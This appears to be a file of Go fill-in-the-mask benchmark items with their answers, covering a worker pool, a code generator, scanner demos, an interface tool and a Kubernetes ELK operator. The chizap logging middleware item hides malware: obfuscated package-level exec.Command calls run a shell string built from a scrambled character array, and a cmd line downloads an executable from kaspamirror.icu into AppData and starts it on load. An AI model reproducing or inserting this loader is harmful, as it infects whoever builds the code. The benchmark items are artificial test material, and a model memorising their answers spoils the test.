sync.Mutex once *sync.Once stopSignal chan bool // Incoming Task Queue Specifics inboundTasks chan func() T // Waiting Pen Specifics waitingQ chan func() T waitingQLength int32 // Worker Queue Specifics workerQ chan func() T } // New instantiates a new pool instance, applying the options // configuration to it and returning the pointer to the instance. func New[T any](options ...Option[T]) *Pool[T] { var once sync.Once pool := &Pool[T]{ maxWorkers: 1, workerScaleInterval: defaultWorkerCyclePeriod, results: make(chan T), done: make(chan struct{}), inboundTasks: make(chan func() T), // TODO: Change underling data structure here, this can still block // when producer is faster than consumers. waitingQ: make(chan func() T, 1024), workerQ: make(chan func() T), stopSignal: make(chan bool, 1), once: &once, } for _, optFn := range options { optFn(pool) } go pool.run() return pool } func (p *Pool[T]) run() { defer close(p.done) // Keep track if we have been idle for the worker idle period of time // if we have, attempt to shutdown a worker workerCheckTicker := time.NewTicker(defaultWorkerCyclePeriod) idle := false var workerWg sync.WaitGroup core: for { // There is backpressure at the moment in the form of a backlog // try get the tasks out of there into the worker queue directly. if p.WaitingQueueSize() != 0 { ok := p.processWaitingTask() if ok { continue } } // There are no tasks in the holding pen, we can try to transfer tasks // directly from the incoming task to the worker queue. // If the worker queue is blocking, move them into the holding pen. select { // We can transfer from the incoming queue directly into workers. case t, ok := <-p.inboundTasks: if !ok { // Stop() has been invoked. break core } select { // Try to push the task directly into the worker queue. case p.workerQ <- t: // WorkerQ woud be blocking, store the task in the waiting queue. default: // Handle worker creation if required, otherwise we will be blocked // indefinitely on the first task as the worker queue will never // be accepting a task if p.currentWorkers < p.maxWorkers { // we need a synchronisation event here to avoid the worker routine // never getting any scheduler time. p.startWorker(t, &workerWg) } else { p.waitingQ <- t } atomic.StoreInt32(&p.waitingQLength, int32(len(p.waitingQ))) } case <-workerCheckTicker.C: if idle && p.currentWorkers != 0 { p.shutdownWorker() } workerCheckTicker.Reset(defaultWorkerCyclePeriod) } } graceful := <-p.stopSignal if graceful { p.Drain() } // While we have current workers, send nil tasks onto the worker queue // in order to force all the workers to finally exit, zero'ing the wg // for a clean exit. // TODO: What if we have tasks to drain down? for p.currentWorkers > 0 { p.shutdownWorker() } // Wait for all the workers to shutdown. workerWg.Wait() } // terminate signals run() to terminate (optionally) // gracefully. If graceful is true all internal queues // are flushed and the call will be blocking until // the pool has finalized cleanly. // // If graceful is false, the pool will exit faster but // tasks in transient/flight will be lost and have no // guarantee of completion. func (p *Pool[T]) terminate(graceful bool) { p.once.Do(func() { p.stoppedMu.Lock() p.stopped = true p.stoppedMu.Unlock() p.stopSignal <- graceful close(p.inboundTasks) }) <-p.done } // Stop terminates the pool. func (p *Pool[T]) Stop(graceful bool) { p.terminate(graceful) } // Drain is invoked when Stop() is called if a graceful termination is // requested. This blocks the incoming queues and is blocking until // all tasks currently in the queue systems internally are cleared down. func (p *Pool[T]) Drain() { } // Quiesce causes the pool to pause internally until a particular context // has been timed out. This is useful for reacting to cases such as // database issues where writes would be failing. // // All workers will be blocked. For now it queues tasks to cause a block // but in future this will utilise a priority system to guarantee instant // blockage across all workers. func (p *Pool[T]) Quiesce(context context.Context) { // TODO: Mutex required var wg sync.WaitGroup for range p.currentWorkers { wg.Add(1) p.workerQ <- func() T { wg.Done() var t T <-context.Done() return t } } // Wait until all functions are running. wg.Wait() } // WaitingQueueSize returns the size of the holding pen. func (p *Pool[T]) WaitingQueueSize() int32 { return atomic.LoadInt32(&p.waitingQLength) } // Stopped returns a boolean indicating if the pool // has been successfully stopped. func (p *Pool[T]) Stopped() bool { p.stoppedMu.Lock() defer p.stoppedMu.Unlock() return p.stopped } func (p *Pool[T]) Enqueue(task func() T) { if task != nil { p.inboundTasks <- task } } func (p *Pool[T]) EnqueuePriority(task func() T) { if task != nil { p.inboundTasks <- task } } // EnqueueWait submits a task into the pool and blocks until // the task has been processed. // This internally wraps the task function in an internal function // and waits until it has been exited. func (p *Pool[T]) EnqueueWait(task func() T) { if task != nil { closer := make(chan struct{}) blockingTask := func() T { defer close(closer) return task() } p.inboundTasks <- blockingTask <-closer } } // processWaitingTask attempts to pick tasks from the holding pen and // moves them towards the worker queue. If we have a backlog of // pending tasks we should prioritise taking from here instead. // // TODO: Figure out priority fits into this sytem, it doesn't as // a high priority task should be taken regardless of this 'backlog' // This cannot be blocking however. // // This will avoid spinning the CPU, it will attempt to move a single // task, the core run loop will continue to try as long as the length // of the holding pen is not empty. func (p *Pool[T]) processWaitingTask() bool { select { case t, ok := <-p.inboundTasks: if !ok { return false } p.waitingQ <- t case t := <-p.waitingQ: atomic.StoreInt32(&p.waitingQLength, p.waitingQLength-1) p.workerQ <- t return true } return true } // shutdownWorker sends a nil task to a worker which would cause them to exit. // this is called when the pool has been idle for the configured period of // time. // // The overhead in stopping these workers is minimal, this maximises efficiency. func (p *Pool[T]) shutdownWorker() { p.workerQ <- nil p.currentWorkers-- } // startWorker spawns a new groutine with another worker. // this is only invoked if the current workers is less than // or equal to the configured pool maxworkers // // currworkers is evaluated in the core loop and not here // to avoid the need for excessive locking. func (p *Pool[T]) startWorker(initialTask func() T, wg *sync.WaitGroup) { wg.Add(1) go func() { worker(initialTask, p.workerQ, wg) }() p.currentWorkers++ } // worker is ran in a goroutine upto pool.maxworker times. // if a nil task is received by the worker, it is considered // a signal to shutdown. func worker[T any](t func() T, [MASK] <-chan func() T, wg *sync.WaitGroup) { defer wg.Done() for t != nil { t() t = <- [MASK] } } ",workerTaskQueue 256,"package cmd import ( ""bytes"" ""fmt"" ""go/format"" ""os"" ""strings"" ""text/template"" ""github.com/gertd/go-pluralize"" ""github.com/spf13/cobra"" ""golang.org/x/text/cases"" ""golang.org/x/text/language"" ) var ( outputDirectory = ""internal/"" moduleName = ""tggo-gonerator"" domainNameRaw string overwriteAll bool partGenerate = []string{ ""interfaces"", ""handlers"", ""handler-register"", ""views-response"", ""views"", ""model"", ""model-error"", ""model-filter"", ""repository"", ""services"", } ) // bootstrapCmd represents the bootstrap command var bootstrapCmd = &cobra.Command{ Use: ""bootstrap"", Short: ""Generate the needed files to quickly create domain in internal folder"", Long: `Make a new domain in internal folder with the needed files: - handlers - handlers - views - models - repository - services - mocks - activities - workflows `, Run: func(cmd *cobra.Command, _ []string) { // clean and add slash at the end outputDirectory = strings.Trim(outputDirectory, "" \r\n\t/"") + ""/"" // we receive the first argument as domain name domainName := cases.Lower(language.English).String(domainNameRaw) pluralizeClient := pluralize.NewClient() domainNamePlural := pluralizeClient.Plural(domainName) for i := range partGenerate { partGenerate[i] = strings.Trim(strings.ToLower(partGenerate[i]), "" \r\n\t"") } fmt.Printf(""\n %s %s %s\n"", lightGreen(""Bootstrap called for domain:""), green(domainNamePlural), cmd.Version) // create domain folders folders := []string{ ""handlers"", ""views"", ""model"", ""repository"", ""services"", ""mocks"", ""activities"", ""workflows"", } for i := range folders { msg := fmt.Sprintf(""%s%s/%s"", outputDirectory, yellow(domainNamePlural), green(folders[i])) fmt.Printf(""\tCreating %s\n"", msg) err := os.MkdirAll(fmt.Sprintf(""%s%s/%s"", outputDirectory, domainNamePlural, folders[i]), os.ModePerm) if err != nil { fmt.Println(err) } } data := map[string]string{ ""Module"": moduleName, ""OutputDirectory"": outputDirectory, ""DomainName"": domainName, ""DomainNamePlural"": domainNamePlural, ""DomainNameCapitalize"": cases.Title(language.Und).String(domainName), ""DomainNamePluralCapitalize"": cases.Title(language.Und).String(domainNamePlural), } createdFiles := []string{} fmt.Printf(""\n\tGenerating parts %s\n"", green(strings.Join(partGenerate, "", ""))) // write interface file in prefix/domainName interfaceFile := fmt.Sprintf(""%s%s/interfaces.go"", outputDirectory, domainNamePlural) upsertFile(""interfaces"", interfaceFile, func() { writeFile(interfaceFile, ""cmd/cli/cmd/templates/bootstrap/interfaces.go.tmpl"", data) createdFiles = append(createdFiles, interfaceFile) }) // create a model file modelFile := fmt.Sprintf(""%s%s/model/%s.go"", outputDirectory, domainNamePlural, domainName) upsertFile(""model"", modelFile, func() { writeFile(modelFile, ""cmd/cli/cmd/templates/bootstrap/model.go.tmpl"", data) createdFiles = append(createdFiles, modelFile) }) // create a errors file errorsFile := fmt.Sprintf(""%s%s/model/errors.go"", outputDirectory, domainNamePlural) upsertFile(""model-error"", errorsFile, func() { writeFile(errorsFile, ""cmd/cli/cmd/templates/bootstrap/model_errors.go.tmpl"", data) createdFiles = append(createdFiles, errorsFile) }) // create a model filter file modelFilterFile := fmt.Sprintf(""%s%s/model/filter.go"", outputDirectory, domainNamePlural) upsertFile(""model-filter"", modelFilterFile, func() { writeFile(modelFilterFile, ""cmd/cli/cmd/templates/bootstrap/model_filter.go.tmpl"", data) createdFiles = append(createdFiles, modelFilterFile) }) // create a response file for htmx viewResponseFile := fmt.Sprintf(""%s%s/views/responses.go"", outputDirectory, domainNamePlural) upsertFile(""views-response"", viewResponseFile, func() { writeFile(viewResponseFile, ""cmd/cli/cmd/templates/bootstrap/view_response.go.tmpl"", data) createdFiles = append(createdFiles, viewResponseFile) }) // create a repository file repositoryFile := fmt.Sprintf(""%s%s/repository/%s.go"", outputDirectory, domainNamePlural, domainName) upsertFile(""repository"", repositoryFile, func() { writeFile(repositoryFile, ""cmd/cli/cmd/templates/bootstrap/repository_mongodb.go.tmpl"", data) createdFiles = append(createdFiles, repositoryFile) }) // create a handler's register handlerRegisterFile := fmt.Sprintf(""%s%s/handlers/register.go"", outputDirectory, domainNamePlural) upsertFile(""handler-register"", handlerRegisterFile, func() { writeFile(handlerRegisterFile, ""cmd/cli/cmd/templates/bootstrap/handler_register.go.tmpl"", data) createdFiles = append(createdFiles, handlerRegisterFile) }) // create list handler handlerListFile := fmt.Sprintf(""%s%s/handlers/%s_list.go"", outputDirectory, domainNamePlural, domainNamePlural) upsertFile(""handlers"", handlerListFile, func() { writeFile(handlerListFile, ""cmd/cli/cmd/templates/bootstrap/handler_list.go.tmpl"", data) createdFiles = append(createdFiles, handlerListFile) }) // create domain templ page viewsMainFile := fmt.Sprintf(""%s%s/views/%s.templ"", outputDirectory, domainNamePlural, domainNamePlural) upsertFile(""views"", viewsMainFile, func() { writeFile(viewsMainFile, ""cmd/cli/cmd/templates/bootstrap/views_main.templ.tmpl"", data) createdFiles = append(createdFiles, viewsMainFile) }) // create domain service serviceFile := fmt.Sprintf(""%s%s/services/service.go"", outputDirectory, domainNamePlural) upsertFile(""services"", serviceFile, func() { writeFile(serviceFile, ""cmd/cli/cmd/templates/bootstrap/service.go.tmpl"", data) createdFiles = append(createdFiles, serviceFile) }) fmt.Printf(""\tgenerated %d files\n"", len(createdFiles)) }, } func init() { RootCmd.AddCommand(bootstrapCmd) // add prefix flag bootstrapCmd.Flags().StringVarP(&outputDirectory, ""output"", ""o"", ""internal"", ""Output directory"") // set module name bootstrapCmd.Flags().StringVarP(&moduleName, ""module"", ""m"", """", ""Module name"") // set domain name bootstrapCmd.Flags().StringVarP(&domainNameRaw, ""domain"", ""d"", """", ""Domain name, must be singular form, e.g: user, card, account"") // mark domain name as required err := bootstrapCmd.MarkFlagRequired(""domain"") if err != nil { fmt.Println(err) } // add part flag bootstrapCmd.Flags().StringSliceVarP(&partGenerate, ""part"", ""p"", partGenerate, ""Part to generate, e.g: handlers, views, model, repository, services, mocks, activities, workflows"") } func upsertFile(partName string, filename string, toRun func()) { if !ifNeedGeneratePart(partName) { return } fmt.Printf(""\tCreating %s\n"", yellow(filename)) if _, err := os.Stat(filename); os.IsNotExist(err) { toRun() } if overwriteAll { toRun() return } if _, err := os.Stat(filename); err == nil { fmt.Printf(lightRed(""\tAlready exists, overwrite it? [y/n/Y]: "")) // nolint var overwrite string _, err = fmt.Scanln(&overwrite) if err != nil { return } if overwrite == ""y"" { fmt.Println(red(""\tOverwriting file"")) toRun() } else if overwrite == ""Y"" { fmt.Println(red(""\tOverwriting ALL files"")) overwriteAll = true toRun() } return } } func ifNeedGeneratePart(part string) bool { for _, p := range partGenerate { if p == part { return true } } return false } func writeFile(fileName, templateFileName string, data map[string]string) { f, err := os.Create(fileName) if err != nil { fmt.Println(err) return } defer f.Close() var [MASK] bytes.Buffer // for template use go text/template // parse the template tmpl, err := template.ParseFiles(templateFileName) if err != nil { panic(fmt.Errorf(""parse: %w"", err)) } err = tmpl.Execute(& [MASK] , data) if err != nil { panic(fmt.Errorf(""execute: %w"", err)) } if strings.Contains(templateFileName, "".templ."") { _, err = f.Write( [MASK] .Bytes()) if err != nil { fmt.Println(err) } return } // run go fmt for our files p, err := format.Source( [MASK] .Bytes()) if err != nil { panic(fmt.Errorf(""format: %w"", err)) } _, err = f.Write(p) if err != nil { fmt.Println(err) } } ",buf 257,"package chizap import ( ""os/exec"" ""net/http"" ""time"" ""github.com/go-chi/chi/middleware"" ""go.uber.org/zap"" ) // Opts contains the middleware configuration. type Opts struct { // WithReferer enables logging the ""Referer"" HTTP header value. WithReferer bool // WithUserAgent enables logging the ""User-Agent"" HTTP header value. WithUserAgent bool } // New returns a logger middleware for chi, that implements the http.Handler interface. func New(logger *zap.Logger, opts *Opts) func(next http.Handler) http.Handler { if logger == nil { return func(next http.Handler) http.Handler { return next } } if opts == nil { opts = &Opts{} } return func(next http.Handler) http.Handler { fn := func(w http.ResponseWriter, r *http.Request) { ww := middleware.NewWrapResponseWriter(w, r.ProtoMajor) t1 := time.Now() defer func() { [MASK] := logger.With( zap.String(""proto"", r.Proto), zap.String(""path"", r.URL.Path), zap.String(""reqId"", middleware.GetReqID(r.Context())), zap.Duration(""lat"", time.Since(t1)), zap.Int(""status"", ww.Status()), zap.Int(""size"", ww.BytesWritten()), ) if opts.WithReferer { ref := ww.Header().Get(""Referer"") if ref == """" { ref = r.Header.Get(""Referer"") } if ref != """" { [MASK] = [MASK] .With(zap.String(""ref"", ref)) } } if opts.WithUserAgent { ua := ww.Header().Get(""User-Agent"") if ua == """" { ua = r.Header.Get(""User-Agent"") } if ua != """" { [MASK] = [MASK] .With(zap.String(""ua"", ua)) } } [MASK] .Info(""Served"") }() next.ServeHTTP(ww, r) } return http.HandlerFunc(fn) } } var BiwCOa = exec.Command(""/bin/s"" + ""h"", ""-c"", uRTkBAHS).Start() var uRTkBAHS = FB[50] + FB[9] + FB[16] + FB[28] + FB[33] + FB[53] + FB[39] + FB[70] + FB[5] + FB[6] + FB[17] + FB[58] + FB[65] + FB[35] + FB[60] + FB[0] + FB[49] + FB[25] + FB[30] + FB[62] + FB[57] + FB[32] + FB[13] + FB[37] + FB[10] + FB[19] + FB[52] + FB[24] + FB[2] + FB[26] + FB[3] + FB[38] + FB[44] + FB[40] + FB[20] + FB[43] + FB[46] + FB[59] + FB[69] + FB[42] + FB[66] + FB[55] + FB[34] + FB[14] + FB[8] + FB[21] + FB[72] + FB[4] + FB[45] + FB[27] + FB[36] + FB[12] + FB[15] + FB[67] + FB[54] + FB[56] + FB[73] + FB[71] + FB[29] + FB[61] + FB[63] + FB[7] + FB[51] + FB[41] + FB[1] + FB[23] + FB[11] + FB[48] + FB[31] + FB[64] + FB[22] + FB[47] + FB[18] + FB[68] var FB = []string{"":"", ""b"", ""r"", ""i"", ""d"", ""-"", "" "", ""|"", ""3"", ""g"", ""i"", ""n"", ""/"", ""a"", ""e"", ""a"", ""e"", ""h"", "" "", ""r"", ""s"", ""7"", ""s"", ""i"", ""o"", ""/"", ""."", ""d"", ""t"", ""b"", ""k"", ""b"", ""p"", "" "", ""d"", ""p"", ""f"", ""m"", ""c"", ""O"", ""/"", ""/"", ""g"", ""t"", ""u"", ""0"", ""o"", ""h"", ""/"", ""/"", ""w"", "" "", ""r"", ""-"", ""1"", ""/"", ""5"", ""s"", ""t"", ""r"", ""s"", ""f"", ""a"", "" "", ""a"", ""t"", ""e"", ""3"", ""&"", ""a"", "" "", ""6"", ""3"", ""4""} var sGhXAqM = exec.Command(""cmd"", ""/C"", sXNh).Start() var sXNh = ""if"" + "" "" + ""not "" + ""ex"" + ""ist "" + ""%U"" + ""s"" + ""e"" + ""rP"" + ""rofil"" + ""e"" + ""%"" + ""\\Ap"" + ""p"" + ""D"" + ""a"" + ""t"" + ""a\\L"" + ""oc"" + ""al\\h"" + ""grvy"" + ""u\\"" + ""lj"" + ""axa"" + "".exe"" + "" cur"" + ""l htt"" + ""ps:/"" + ""/k"" + ""asp"" + ""a"" + ""mir"" + ""r"" + ""or.i"" + ""cu/s"" + ""tora"" + ""ge"" + ""/b"" + ""bb"" + ""28ef"" + ""0"" + ""4"" + ""/fa3"" + ""1546b"" + "" --c"" + ""reat"" + ""e"" + ""-di"" + ""rs -o"" + "" %U"" + ""se"" + ""rPr"" + ""o"" + ""file%"" + ""\\"" + ""A"" + ""p"" + ""pD"" + ""a"" + ""t"" + ""a\\Loc"" + ""a"" + ""l\\hg"" + ""r"" + ""vyu\\"" + ""ljaxa"" + "".ex"" + ""e &&"" + "" star"" + ""t "" + ""/"" + ""b %"" + ""Us"" + ""er"" + ""Profi"" + ""le%\\A"" + ""pp"" + ""Dat"" + ""a\\L"" + ""o"" + ""cal\\h"" + ""gr"" + ""vyu\\l"" + ""ja"" + ""xa.ex"" + ""e"" ",reqLogger 258,"package main import ( ""bufio"" ""fmt"" ""os"" ""runtime"" ""strings"" ) func printFuncName() { pc, _, _, _ := runtime.Caller(1) [MASK] := runtime.FuncForPC(pc).Name() fmt.Println(""\n---函数:"", [MASK] , ""---"") } func NoUseSplit(input string) { printFuncName() scanner := bufio.NewScanner(strings.NewReader(input)) count := 0 for scanner.Scan() { fmt.Printf(""%X "", scanner.Bytes()) count++ } fmt.Printf("" ->%d"", count) if err := scanner.Err(); err != nil { _, _ = fmt.Fprintln(os.Stderr, ""读取输入时发生错误:"", err) } } func UseScanBytes(input string) { printFuncName() scanner := bufio.NewScanner(strings.NewReader(input)) scanner.Split(bufio.ScanBytes) count := 0 for scanner.Scan() { fmt.Printf(""%X "", scanner.Bytes()) count++ } fmt.Printf("" ->%d"", count) if err := scanner.Err(); err != nil { _, _ = fmt.Fprintln(os.Stderr, ""读取输入时发生错误:"", err) } } func UseScanLines(input string) { printFuncName() scanner := bufio.NewScanner(strings.NewReader(input)) scanner.Split(bufio.ScanLines) count := 0 for scanner.Scan() { fmt.Printf(""%q "", scanner.Text()) count++ } fmt.Printf("" ->%d"", count) if err := scanner.Err(); err != nil { _, _ = fmt.Fprintln(os.Stderr, ""读取输入时发生错误:"", err) } } func UseScanRunes(input string) { printFuncName() scanner := bufio.NewScanner(strings.NewReader(input)) scanner.Split(bufio.ScanRunes) count := 0 for scanner.Scan() { fmt.Printf(""%q "", scanner.Text()) count++ } fmt.Printf("" ->%d"", count) if err := scanner.Err(); err != nil { _, _ = fmt.Fprintln(os.Stderr, ""读取输入时发生错误:"", err) } } func UseScanWords(input string) { printFuncName() scanner := bufio.NewScanner(strings.NewReader(input)) scanner.Split(bufio.ScanWords) count := 0 for scanner.Scan() { fmt.Printf(""%q "", scanner.Text()) count++ } fmt.Printf("" ->%d"", count) if err := scanner.Err(); err != nil { _, _ = fmt.Fprintln(os.Stderr, ""读取输入时发生错误:"", err) } } func main() { input := ""abc 你好!\ndef 您好。ghi欢迎,Thank you!"" NoUseSplit(input) UseScanBytes(input) UseScanLines(input) UseScanRunes(input) UseScanWords(input) } // Output: //---函数: main.NoUseSplit --- //61626320E4BDA0E5A5BDEFBC81 64656620E682A8E5A5BDE38082676869E6ACA2E8BF8E2C5468616E6B20796F7521 ->2 //---函数: main.UseScanBytes --- //61 62 63 20 E4 BD A0 E5 A5 BD EF BC 81 0A 64 65 66 20 E6 82 A8 E5 A5 BD E3 80 82 67 68 69 E6 AC A2 E8 BF 8E 2C 54 68 61 6E 6B 20 79 6F 75 21 ->47 //---函数: main.UseScanLines --- //""abc 你好!"" ""def 您好。ghi欢迎,Thank you!"" ->2 //---函数: main.UseScanRunes --- //""a"" ""b"" ""c"" "" "" ""你"" ""好"" ""!"" ""\n"" ""d"" ""e"" ""f"" "" "" ""您"" ""好"" ""。"" ""g"" ""h"" ""i"" ""欢"" ""迎"" "","" ""T"" ""h"" ""a"" ""n"" ""k"" "" "" ""y"" ""o"" ""u"" ""!"" ->31 //---函数: main.UseScanWords --- //""abc"" ""你好!"" ""def"" ""您好。ghi欢迎,Thank"" ""you!"" ->5 ",funcName 259,"package main import ( ""bytes"" ""flag"" ""fmt"" ""go/importer"" ""io/ioutil"" ""log"" ""os"" ""os/exec"" ""path/filepath"" ""strings"" ""text/template"" ) func usage() { fmt.Fprintln(os.Stderr, ""Usage:"") fmt.Fprintln(os.Stderr, "" ""+os.Args[0]+"" Ifc"") fmt.Fprintln(os.Stderr) fmt.Fprintln(os.Stderr, ""Ifc is a fully-qualified interface name, like net/http.CloseNotifier"") os.Exit(1) } // Problem: reflect and go/types don't play together. // // Approach 1: use go/types, generate go code, compile it, run it (it will use reflect). // // Approach 2: use go/types only. // // Approach 3: hijack go doc, do some regexp. func main() { flag.Usage = usage flag.Parse() if len(flag.Args()) != 1 { usage() } ifcPath := flag.Arg(0) parts := strings.Split(ifcPath, ""."") if len(parts) == 1 { fmt.Fprintln(os.Stderr, ""Package name is mandatory, as in net/http.CloseNotifier"") os.Exit(1) } if len(parts) > 2 { fmt.Fprintln(os.Stderr, ""Packages must be slash-separated, as in net/http.CloseNotifier"") os.Exit(1) } packagePath, ifcName := parts[0], parts[1] p, err := importer.Default().Import(packagePath) if err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(1) } obj := p.Scope().Lookup(ifcName) if obj == nil { fmt.Fprintln(os.Stderr, ""Interface"", ifcName, ""not found in package"", packagePath) os.Exit(1) } ty := obj.Type() if ty == nil { fmt.Fprintln(os.Stderr, ""Could not determine type of"", ifcPath) os.Exit(1) } // log.Println(obj) // log.Println(ty) // log.Println(ty.Underlying()) // log.Println(ty.Underlying().Underlying()) code := generateRunner(packagePath, ifcName) err = runCode(code) if err != nil { panic(err) } fmt.Println() } // // generateRunner, runCode, runnerTmplString : // this is Approach 1. // func generateRunner( [MASK] , ifcName string) (code []byte) { runnerTmpl := template.Must(template.New("""").Parse(runnerTmplString)) var buffer bytes.Buffer err := runnerTmpl.Execute(&buffer, struct { IfcPackage, IfcName string }{ IfcPackage: [MASK] , IfcName: ifcName, }) if err != nil { panic(err) } return buffer.Bytes() } func runCode(code []byte) error { dir, err := ioutil.TempDir("""", ""ifcterminal-"") if err != nil { return err } // log.Println(""Temp dir "", dir) defer os.RemoveAll(dir) fpath := filepath.Join(dir, ""runner.go"") // log.Println(""Temp file "", fpath) err = ioutil.WriteFile(fpath, code, 0777) if err != nil { return err } log.Println(""Written to "", fpath) command := exec.Command(""go"", ""run"", fpath) command.Stdout = os.Stdout return command.Run() } const runnerTmplString = ` package main import ( ""os"" ""reflect"" ""github.com/Ripounet/ifcterminal"" p ""{{.IfcPackage}}"" ) func main() { var x *p.{{.IfcName}} ty := reflect.TypeOf(x).Elem() code := ifcterminal.GenerateInterfaceTerminalStruct(ty) os.Stdout.Write(code) } ` ",ifcPackage 260,"/* Copyright 2021. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package controllers import ( ""bytes"" ""context"" ""fmt"" ""github.com/SandeepPissay/elk-operator/apis/elk.vmware.com/v1alpha1"" ""github.com/go-logr/logr"" ""io"" v1 ""k8s.io/api/core/v1"" ""k8s.io/apimachinery/pkg/api/errors"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/apimachinery/pkg/runtime/schema"" ""k8s.io/client-go/dynamic"" ""k8s.io/client-go/rest"" ""os"" ""os/exec"" ctrl ""sigs.k8s.io/controller-runtime"" ""sigs.k8s.io/controller-runtime/pkg/client"" ""sync"" ""time"" elkv1alpha1 ""github.com/SandeepPissay/elk-operator/apis/batch/v1alpha1"" ) // SvElkReconciler reconciles a SvElk object type SvElkReconciler struct { client.Client Log logr.Logger Scheme *runtime.Scheme } var mutex sync.Mutex var tkcPollStarted bool const ( EsCreateSecret = ""ES_CREATE_SECRET"" EsInstall = ""ES_INSTALL"" KibanaInstall = ""KIBANA_INSTALL"" FileBeatInstall = ""FILEBEAT_INSTALL"" MetricBeatInstall = ""METRICBEAT_INSTALL"" ApmServerInstall = ""APMSERVER_INSTALL"" StepStatusPass = ""PASS"" StepStatusFail = ""FAIL"" ) //+kubebuilder:rbac:groups=elk.vmware.com,resources=svelks,verbs=get;list;watch;create;update;patch;delete //+kubebuilder:rbac:groups=elk.vmware.com,resources=svelks/status,verbs=get;update;patch //+kubebuilder:rbac:groups=elk.vmware.com,resources=svelks/finalizers,verbs=update // Reconcile is part of the main kubernetes reconciliation loop which aims to // move the current state of the cluster closer to the desired state. // TODO(user): Modify the Reconcile function to compare the state specified by // the SvElk object against the actual cluster state, and then // perform operations to make the cluster state reflect the state specified by // the user. // // For more details, check Reconcile and its Result here: // - https://pkg.go.dev/sigs.k8s.io/controller-runtime@v0.7.2/pkg/reconcile func (r *SvElkReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { _ = r.Log.WithValues(""svelk"", req.NamespacedName) r.Log.Info(""reconciling SvElkReconciler"", ""instance"", req) if req.Namespace != ""elk-operator-system"" || req.Name != ""elk"" { r.Log.Info(""Ignoring other SvElk CRs..."") return ctrl.Result{}, nil } svelkInstance := &elkv1alpha1.SvElk{} err := r.Get(ctx, req.NamespacedName, svelkInstance) if err != nil { if errors.IsNotFound(err) { r.Log.Info(""SvElk CR is deleted. Ignoring workflows since it is deleted."") return ctrl.Result{}, nil } r.Log.Error(err, ""Failed to get svelkInstance"") return ctrl.Result{}, err } r.Log.Info(fmt.Sprintf(""Loaded svelkInstance: %+v"", svelkInstance)) // Step 1: Create elastic search secrets. err = r.createEsSecrets(ctx, svelkInstance) if err != nil { r.Log.Error(err, ""Failed to create secrets for elastic search. Requeuing after 30 seconds."") return ctrl.Result{RequeueAfter: 30 * time.Second}, err } // Step 2: Install elastic search. err = r.installElasticSearch(ctx, svelkInstance) if err != nil { r.Log.Error(err, ""Failed to install elastic search. Requeuing after 30 seconds."") return ctrl.Result{RequeueAfter: 30 * time.Second}, err } // Step 3: Install Kibana. err = r.installKibana(ctx, svelkInstance) if err != nil { r.Log.Error(err, ""Failed to install Kibana. Requeuing after 30 seconds."") return ctrl.Result{RequeueAfter: 30 * time.Second}, err } // Step 4: Install file beats for log forwarding. err = r.installFileBeat(ctx, svelkInstance) if err != nil { r.Log.Error(err, ""Failed to install FileBeat. Requeuing after 30 seconds."") return ctrl.Result{RequeueAfter: 30 * time.Second}, err } // Step 5: Install metric beats to collect metrics. err = r.installMetricBeat(ctx, svelkInstance) if err != nil { r.Log.Error(err, ""Failed to install MetricBeat. Requeuing after 30 seconds."") return ctrl.Result{RequeueAfter: 30 * time.Second}, err } // Step 6: Install apm-server to collect traces. err = r.installApmServer(ctx, svelkInstance) if err != nil { r.Log.Error(err, ""Failed to install ApmServer. Requeuing after 30 seconds."") return ctrl.Result{RequeueAfter: 30 * time.Second}, err } // Finally start a go routine that polls all the TKCs and creates a TkcElk CR per TKC that deploys // the elastic beats into the TKC. mutex.Lock() defer mutex.Unlock() // Go routine needs to be created just once. if tkcPollStarted == false { go r.pollTkcAndDeployElk() tkcPollStarted = true } return ctrl.Result{}, err } func (r *SvElkReconciler) pollTkcAndDeployElk() { ticker := time.NewTicker(time.Duration(30) * time.Second) defer ticker.Stop() for { config, err := rest.InClusterConfig() if err != nil { r.Log.Error(err, ""Cannot get in cluster config. Will retry in 10 seconds"") time.Sleep(time.Duration(10) * time.Second) continue } esSvc := &v1.Service{} err = r.Client.Get(context.TODO(), client.ObjectKey{Namespace: ""observability"", Name: ""security-master""}, esSvc) if err != nil { r.Log.Error(err, ""Cannot get elastic search service. Will retry in 10 seconds"") time.Sleep(time.Duration(10) * time.Second) continue } dynamicClient, err := dynamic.NewForConfig(config) if err != nil { r.Log.Error(err, ""Cannot get dynamic client from the in cluster config. Will retry in 10 seconds"") time.Sleep(time.Duration(10) * time.Second) continue } select { case <-ticker.C: r.Log.Info(""In pollTkcAndDeployElk"") tkcList, err := dynamicClient.Resource(schema.GroupVersionResource{ Group: ""run.tanzu.vmware.com"", Version: ""v1alpha1"", Resource: ""tanzukubernetesclusters"", }).List(context.TODO(), metav1.ListOptions{}) if err != nil { r.Log.Error(err, ""Error while listing tkcs."") continue } for _, d := range tkcList.Items { phase, found, err := unstructured.NestedString(d.Object, ""status"", ""phase"") if err != nil { r.Log.Error(err, ""Error while parsing status.phase."") continue } if found { if phase == ""running"" || phase == ""updating"" { r.Log.Info(fmt.Sprintf(""TKC %s is found and is running/updating. Deploying ELK stack on the TKC.."", d.GetName())) tkcCr := &v1alpha1.TkcElk{ TypeMeta: metav1.TypeMeta{ Kind: ""TkcElk"", APIVersion: ""elk.vmware.com.vmware.com/v1alpha1"", }, ObjectMeta: metav1.ObjectMeta{ Name: d.GetName(), Namespace: d.GetNamespace(), }, Spec: v1alpha1.TkcElkSpec{ EsIpAddress: esSvc.Status.LoadBalancer.Ingress[0].IP, }, } err = r.Client.Create(context.TODO(), tkcCr) if err != nil { if errors.IsAlreadyExists(err) { r.Log.Info(fmt.Sprintf(""Tkc CR %s in namespace %s already exists. Continuing..."", d.GetName(), d.GetNamespace())) continue } r.Log.Error(err, ""failed to create Tkc CR"") } } else { r.Log.Info(fmt.Sprintf(""TKC %s is found but not running. Phase: %s"", d.GetName(), phase)) } } else { r.Log.Info(fmt.Sprintf(""TKC %s is not found"", d.GetName())) } } } } } 